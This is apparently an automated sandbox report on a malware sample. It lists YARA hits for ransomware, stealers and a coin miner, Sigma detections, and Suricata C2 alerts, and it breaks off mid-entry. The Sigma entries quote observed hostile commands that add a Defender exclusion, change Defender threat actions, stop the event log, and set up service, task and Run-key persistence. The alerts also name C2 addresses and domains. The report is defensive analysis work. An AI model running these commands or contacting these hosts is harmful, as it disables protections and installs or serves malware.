0000002D.00000003.2493029639.0000000000850000.00000004.00000001.00020000.00000000.sdmp	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x3c9348:$s1: %s/%s (Windows NT %lu.%lu 0x3ccd80:$s3: \\.\WinRing0_ 0x375d48:$s4: pool_wallet 0x3701f0:$s5: cryptonight 0x370200:$s5: cryptonight 0x370210:$s5: cryptonight 0x370220:$s5: cryptonight 0x370238:$s5: cryptonight 0x370248:$s5: cryptonight 0x370258:$s5: cryptonight 0x370270:$s5: cryptonight 0x370280:$s5: cryptonight 0x370298:$s5: cryptonight 0x3702b0:$s5: cryptonight 0x3702c0:$s5: cryptonight 0x3702d0:$s5: cryptonight 0x3702e0:$s5: cryptonight 0x3702f8:$s5: cryptonight 0x370310:$s5: cryptonight 0x370320:$s5: cryptonight 0x370330:$s5: cryptonight
00000008.00000002.2609476131.000000000376B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
00000005.00000002.2673724412.000000000216B000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000009.00000000.2365640577.00007FF7E1E05000.00000002.00000001.01000000.0000000B.sdmp	JoeSecurity_GoInjector_2	Yara detected Go Injector	Joe Security
00000008.00000002.2609476131.0000000003611000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: 3QKcKCEzYP.exe PID: 4032	JoeSecurity_GoInjector_2	Yara detected Go Injector	Joe Security
Process Memory Space: fOzLadrzZNRnwv2woTdiFoXM.exe PID: 4304	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: fOzLadrzZNRnwv2woTdiFoXM.exe PID: 4304	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: MrBEu6cm6HagE9yrmXV8x4AG.exe PID: 6096	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: MrBEu6cm6HagE9yrmXV8x4AG.exe PID: 6096	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x37569:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: 6UF1Jcwj34zqEggktO7mg1WS.exe PID: 364	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: 6UF1Jcwj34zqEggktO7mg1WS.exe PID: 364	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: 6UF1Jcwj34zqEggktO7mg1WS.exe PID: 364	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
Process Memory Space: yZBxqqQICO50PLfWYKwJeSL5.exe PID: 6792	JoeSecurity_GoInjector_2	Yara detected Go Injector	Joe Security
Process Memory Space: MSBuild.exe PID: 4896	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: MSBuild.exe PID: 4896	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: Install.exe PID: 3164	JoeSecurity_Neoreklami	Yara detected Neoreklami	Joe Security
Process Memory Space: erzljnhmzkuz.exe PID: 6780	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: erzljnhmzkuz.exe PID: 6780	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x12734:$a1: mining.set_target 0xeedd:$a2: XMRIG_HOSTNAME 0xfc55:$a3: Usage: xmrig [OPTIONS] 0xeebe:$a4: XMRIG_VERSION
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 28 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
8.2.6UF1Jcwj34zqEggktO7mg1WS.exe.3778a1c.1.raw.unpack	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
8.2.6UF1Jcwj34zqEggktO7mg1WS.exe.376e844.0.raw.unpack	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
8.2.6UF1Jcwj34zqEggktO7mg1WS.exe.3778a1c.1.unpack	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
8.2.6UF1Jcwj34zqEggktO7mg1WS.exe.5de0000.9.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
5.2.MrBEu6cm6HagE9yrmXV8x4AG.exe.22015a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
5.2.MrBEu6cm6HagE9yrmXV8x4AG.exe.22015a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
5.2.MrBEu6cm6HagE9yrmXV8x4AG.exe.22015a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
5.2.MrBEu6cm6HagE9yrmXV8x4AG.exe.22015a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
5.2.MrBEu6cm6HagE9yrmXV8x4AG.exe.22015a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
5.2.MrBEu6cm6HagE9yrmXV8x4AG.exe.22015a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
8.2.6UF1Jcwj34zqEggktO7mg1WS.exe.376e844.0.unpack	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
45.3.erzljnhmzkuz.exe.850000.2.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
45.3.erzljnhmzkuz.exe.850000.2.unpack	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x37db98:$a1: mining.set_target 0x36fe20:$a2: XMRIG_HOSTNAME 0x372748:$a3: Usage: xmrig [OPTIONS] 0x36fdf8:$a4: XMRIG_VERSION
45.3.erzljnhmzkuz.exe.850000.2.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x3c7ae1:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
45.3.erzljnhmzkuz.exe.850000.2.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x3c8348:$s1: %s/%s (Windows NT %lu.%lu 0x3cbd80:$s3: \\.\WinRing0_ 0x374d48:$s4: pool_wallet 0x36f1f0:$s5: cryptonight 0x36f200:$s5: cryptonight 0x36f210:$s5: cryptonight 0x36f220:$s5: cryptonight 0x36f238:$s5: cryptonight 0x36f248:$s5: cryptonight 0x36f258:$s5: cryptonight 0x36f270:$s5: cryptonight 0x36f280:$s5: cryptonight 0x36f298:$s5: cryptonight 0x36f2b0:$s5: cryptonight 0x36f2c0:$s5: cryptonight 0x36f2d0:$s5: cryptonight 0x36f2e0:$s5: cryptonight 0x36f2f8:$s5: cryptonight 0x36f310:$s5: cryptonight 0x36f320:$s5: cryptonight 0x36f330:$s5: cryptonight
45.3.erzljnhmzkuz.exe.850000.2.raw.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
45.3.erzljnhmzkuz.exe.850000.2.raw.unpack	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x37eb98:$a1: mining.set_target 0x370e20:$a2: XMRIG_HOSTNAME 0x373748:$a3: Usage: xmrig [OPTIONS] 0x370df8:$a4: XMRIG_VERSION
45.3.erzljnhmzkuz.exe.850000.2.raw.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x3c8ae1:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
45.3.erzljnhmzkuz.exe.850000.2.raw.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x3c9348:$s1: %s/%s (Windows NT %lu.%lu 0x3ccd80:$s3: \\.\WinRing0_ 0x375d48:$s4: pool_wallet 0x3701f0:$s5: cryptonight 0x370200:$s5: cryptonight 0x370210:$s5: cryptonight 0x370220:$s5: cryptonight 0x370238:$s5: cryptonight 0x370248:$s5: cryptonight 0x370258:$s5: cryptonight 0x370270:$s5: cryptonight 0x370280:$s5: cryptonight 0x370298:$s5: cryptonight 0x3702b0:$s5: cryptonight 0x3702c0:$s5: cryptonight 0x3702d0:$s5: cryptonight 0x3702e0:$s5: cryptonight 0x3702f8:$s5: cryptonight 0x370310:$s5: cryptonight 0x370320:$s5: cryptonight 0x370330:$s5: cryptonight
9.2.yZBxqqQICO50PLfWYKwJeSL5.exe.7ff7e1a10000.8.unpack	JoeSecurity_GoInjector_2	Yara detected Go Injector	Joe Security
9.0.yZBxqqQICO50PLfWYKwJeSL5.exe.7ff7e1a10000.0.unpack	JoeSecurity_GoInjector_2	Yara detected Go Injector	Joe Security
Click to see the 16 entries

Sigma Signatures

Change of critical system settings

Sigma detected: Disable power options

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, CommandLine: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, CommandLine|base64offset|contains: , Image: C:\Windows\System32\powercfg.exe, NewProcessName: C:\Windows\System32\powercfg.exe, OriginalFileName: C:\Windows\System32\powercfg.exe, ParentCommandLine: C:\Users\user\Documents\piratemamm\zVS6xq86P4Kl0c26CfULXfv4.exe, ParentImage: C:\Users\user\Documents\piratemamm\zVS6xq86P4Kl0c26CfULXfv4.exe, ParentProcessId: 2968, ParentProcessName: zVS6xq86P4Kl0c26CfULXfv4.exe, ProcessCommandLine: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, ProcessId: 6368, ProcessName: powercfg.exe

System Summary

Sigma detected: Potentially Suspicious PowerShell Child Processes

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True, CommandLine: "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True, CommandLine|base64offset|contains: <, Image: C:\Windows\SysWOW64\wbem\WMIC.exe, NewProcessName: C:\Windows\SysWOW64\wbem\WMIC.exe, OriginalFileName: C:\Windows\SysWOW64\wbem\WMIC.exe, ParentCommandLine: powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True, ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 5232, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True, ProcessId: 7140, ProcessName: WMIC.exe

Sigma detected: Silenttrinity Stager Msbuild Activity

Source: Network Connection

Author: Kiran kumar s, oscd.community: Data: DestinationIp: 193.176.190.41, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, Initiated: true, ProcessId: 4896, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49739

Sigma detected: Suspicious Scheduled Task Creation Involving Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: schtasks /CREATE /TN "bhigQxvKbgfszOKTET" /SC once /ST 02:33:00 /RU "SYSTEM" /TR "\"C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe\" kd /CVdidr 525403 /S" /V1 /F, CommandLine: schtasks /CREATE /TN "bhigQxvKbgfszOKTET" /SC once /ST 02:33:00 /RU "SYSTEM" /TR "\"C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe\" kd /CVdidr 525403 /S" /V1 /F, CommandLine|base64offset|contains: mj,, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: .\Install.exe /uSdidZODwd "525403" /S, ParentImage: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe, ParentProcessId: 3164, ParentProcessName: Install.exe, ProcessCommandLine: schtasks /CREATE /TN "bhigQxvKbgfszOKTET" /SC once /ST 02:33:00 /RU "SYSTEM" /TR "\"C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe\" kd /CVdidr 525403 /S" /V1 /F, ProcessId: 1280, ProcessName: schtasks.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Roaming\afasdfga.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe, ProcessId: 364, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\afasdfga

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force", CommandLine: "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: .\Install.exe /uSdidZODwd "525403" /S, ParentImage: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe, ParentProcessId: 3164, ParentProcessName: Install.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C p

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Sigma detected: New Service Creation Using Sc.EXE

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: C:\Windows\system32\sc.exe create "KSKIUXEH" binpath= "C:\ProgramData\kttbjzxfyqcy\erzljnhmzkuz.exe" start= "auto", CommandLine: C:\Windows\system32\sc.exe create "KSKIUXEH" binpath= "C:\ProgramData\kttbjzxfyqcy\erzljnhmzkuz.exe" start= "auto", CommandLine|base64offset|contains: r, Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: C:\Users\user\Documents\piratemamm\zVS6xq86P4Kl0c26CfULXfv4.exe, ParentImage: C:\Users\user\Documents\piratemamm\zVS6xq86P4Kl0c26CfULXfv4.exe, ParentProcessId: 2968, ParentProcessName: zVS6xq86P4Kl0c26CfULXfv4.exe, ProcessCommandLine: C:\Windows\system32\sc.exe create "KSKIUXEH" binpath= "C:\ProgramData\kttbjzxfyqcy\erzljnhmzkuz.exe" start= "auto", ProcessId: 4488, ProcessName: sc.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell start-process -WindowStyle Hidden gpupdate.exe /force, CommandLine: powershell start-process -WindowStyle Hidden gpupdate.exe /force, CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0, ParentImage: C:\Windows\System32\powercfg.exe, ParentProcessId: 2276, ParentProcessName: powercfg.exe, ProcessCommandLine: powershell start-process -WindowStyle Hidden gpupdate.exe /force, ProcessId: 1280, ProcessName: powershell.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Stop EventLog

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\sc.exe stop eventlog, CommandLine: C:\Windows\system32\sc.exe stop eventlog, CommandLine|base64offset|contains: ), Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: C:\Users\user\Documents\piratemamm\zVS6xq86P4Kl0c26CfULXfv4.exe, ParentImage: C:\Users\user\Documents\piratemamm\zVS6xq86P4Kl0c26CfULXfv4.exe, ParentProcessId: 2968, ParentProcessName: zVS6xq86P4Kl0c26CfULXfv4.exe, ProcessCommandLine: C:\Windows\system32\sc.exe stop eventlog, ProcessId: 2988, ProcessName: sc.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.6 - Destination IP: 188.114.96.3

Timestamp:	2024-08-21T08:33:51.910895+0200
SID:	2803274
Severity:	2
Source Port:	49784
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE STOP Ransomware CnC Activity - Source IP: 192.168.2.6 - Destination IP: 190.13.174.94

Timestamp:	2024-08-21T08:33:55.668666+0200
SID:	2833438
Severity:	1
Source Port:	49786
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.6 - Destination IP: 188.114.97.3

Timestamp:	2024-08-21T08:33:36.589601+0200
SID:	2803274
Severity:	2
Source Port:	49782
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ET MALWARE PrivateLoader CnC Activity (POST) - Source IP: 192.168.2.6 - Destination IP: 193.233.232.86

Timestamp:	2024-08-21T08:32:12.418260+0200
SID:	2054711
Severity:	1
Source Port:	49715
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer CnC Host Checkin - Source IP: 192.168.2.6 - Destination IP: 188.114.97.3

Timestamp:	2024-08-21T08:32:52.428386+0200
SID:	2054653
Severity:	1
Source Port:	49743
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.2.6 - Destination IP: 162.241.203.25

Timestamp:	2024-08-21T08:32:13.855740+0200
SID:	2803270
Severity:	2
Source Port:	49722
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ET MALWARE Observed Lumma Stealer Related Domain (cagedwifedsozm .shop in TLS SNI) - Source IP: 192.168.2.6 - Destination IP: 188.114.97.3

Timestamp:	2024-08-21T08:32:55.640235+0200
SID:	2055292
Severity:	1
Source Port:	49749
Destination Port:	443
Protocol:	TCP
Classtype:	Domain Observed Used for C2 Detected

ET MALWARE Lumma Stealer CnC Host Checkin - Source IP: 192.168.2.6 - Destination IP: 188.114.96.3

Timestamp:	2024-08-21T08:33:01.650158+0200
SID:	2054653
Severity:	1
Source Port:	49755
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.2.6 - Destination IP: 147.45.44.104

Timestamp:	2024-08-21T08:32:14.033517+0200
SID:	2803270
Severity:	2
Source Port:	49720
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.2.6 - Destination IP: 147.45.44.104

Timestamp:	2024-08-21T08:32:14.343339+0200
SID:	2803270
Severity:	2
Source Port:	49719
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ET MALWARE Lumma Stealer CnC Host Checkin - Source IP: 192.168.2.6 - Destination IP: 172.67.161.217

Timestamp:	2024-08-21T08:32:54.277685+0200
SID:	2054653
Severity:	1
Source Port:	49745
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE PrivateLoader CnC Response - Source IP: 193.233.232.86 - Destination IP: 192.168.2.6

Timestamp:	2024-08-21T08:32:11.204015+0200
SID:	2054710
Severity:	1
Source Port:	80
Destination Port:	49715
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Observed Lumma Stealer Related Domain (charecteristicdxp .shop in TLS SNI) - Source IP: 192.168.2.6 - Destination IP: 172.67.186.145

Timestamp:	2024-08-21T08:32:54.768189+0200
SID:	2055294
Severity:	1
Source Port:	49747
Destination Port:	443
Protocol:	TCP
Classtype:	Domain Observed Used for C2 Detected

ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (interactiedovspm .shop) - Source IP: 192.168.2.6 - Destination IP: 1.1.1.1

Timestamp:	2024-08-21T08:32:53.334683+0200
SID:	2055299
Severity:	1
Source Port:	58173
Destination Port:	53
Protocol:	UDP
Classtype:	Domain Observed Used for C2 Detected

ETPRO MALWARE Observed Lumma Domain in TLS SNI - Source IP: 192.168.2.6 - Destination IP: 188.114.96.3

Timestamp:	2024-08-21T08:33:01.168557+0200
SID:	2857975
Severity:	1
Source Port:	49755
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (southedhiscuso .shop) - Source IP: 192.168.2.6 - Destination IP: 1.1.1.1

Timestamp:	2024-08-21T08:32:57.335467+0200
SID:	2055303
Severity:	1
Source Port:	58597
Destination Port:	53
Protocol:	UDP
Classtype:	Domain Observed Used for C2 Detected

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.2.6 - Destination IP: 147.45.44.104

Timestamp:	2024-08-21T08:32:16.987292+0200
SID:	2803270
Severity:	2
Source Port:	49719
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.6 - Destination IP: 188.114.96.3

Timestamp:	2024-08-21T08:32:55.400218+0200
SID:	2803274
Severity:	2
Source Port:	49748
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ET MALWARE Observed Lumma Stealer Related Domain (deicedosmzj .shop in TLS SNI) - Source IP: 192.168.2.6 - Destination IP: 188.114.97.3

Timestamp:	2024-08-21T08:32:56.915723+0200
SID:	2055298
Severity:	1
Source Port:	49750
Destination Port:	443
Protocol:	TCP
Classtype:	Domain Observed Used for C2 Detected

ET MALWARE Observed Lumma Stealer Related Domain (torubleeodsmzo .shop in TLS SNI) - Source IP: 192.168.2.6 - Destination IP: 188.114.97.3

Timestamp:	2024-08-21T08:32:51.979091+0200
SID:	2055306
Severity:	1
Source Port:	49743
Destination Port:	443
Protocol:	TCP
Classtype:	Domain Observed Used for C2 Detected

ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (torubleeodsmzo .shop) - Source IP: 192.168.2.6 - Destination IP: 1.1.1.1

Timestamp:	2024-08-21T08:32:51.450048+0200
SID:	2055305
Severity:	1
Source Port:	55931
Destination Port:	53
Protocol:	UDP
Classtype:	Domain Observed Used for C2 Detected

ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (consciousourwi .shop) - Source IP: 192.168.2.6 - Destination IP: 1.1.1.1

Timestamp:	2024-08-21T08:32:58.251403+0200
SID:	2055295
Severity:	1
Source Port:	51429
Destination Port:	53
Protocol:	UDP
Classtype:	Domain Observed Used for C2 Detected

ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (deicedosmzj .shop) - Source IP: 192.168.2.6 - Destination IP: 1.1.1.1

Timestamp:	2024-08-21T08:32:56.095531+0200
SID:	2055297
Severity:	1
Source Port:	56458
Destination Port:	53
Protocol:	UDP
Classtype:	Domain Observed Used for C2 Detected

ET MALWARE Lumma Stealer CnC Host Checkin - Source IP: 192.168.2.6 - Destination IP: 188.114.97.3

Timestamp:	2024-08-21T08:32:56.035084+0200
SID:	2054653
Severity:	1
Source Port:	49749
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.6 - Destination IP: 188.114.97.3

Timestamp:	2024-08-21T08:33:40.136550+0200
SID:	2803274
Severity:	2
Source Port:	49783
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (cagedwifedsozm .shop) - Source IP: 192.168.2.6 - Destination IP: 1.1.1.1

Timestamp:	2024-08-21T08:32:55.165919+0200
SID:	2055291
Severity:	1
Source Port:	61952
Destination Port:	53
Protocol:	UDP
Classtype:	Domain Observed Used for C2 Detected

ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (potentioallykeos .shop) - Source IP: 192.168.2.6 - Destination IP: 1.1.1.1

Timestamp:	2024-08-21T08:32:52.441012+0200
SID:	2055301
Severity:	1
Source Port:	49791
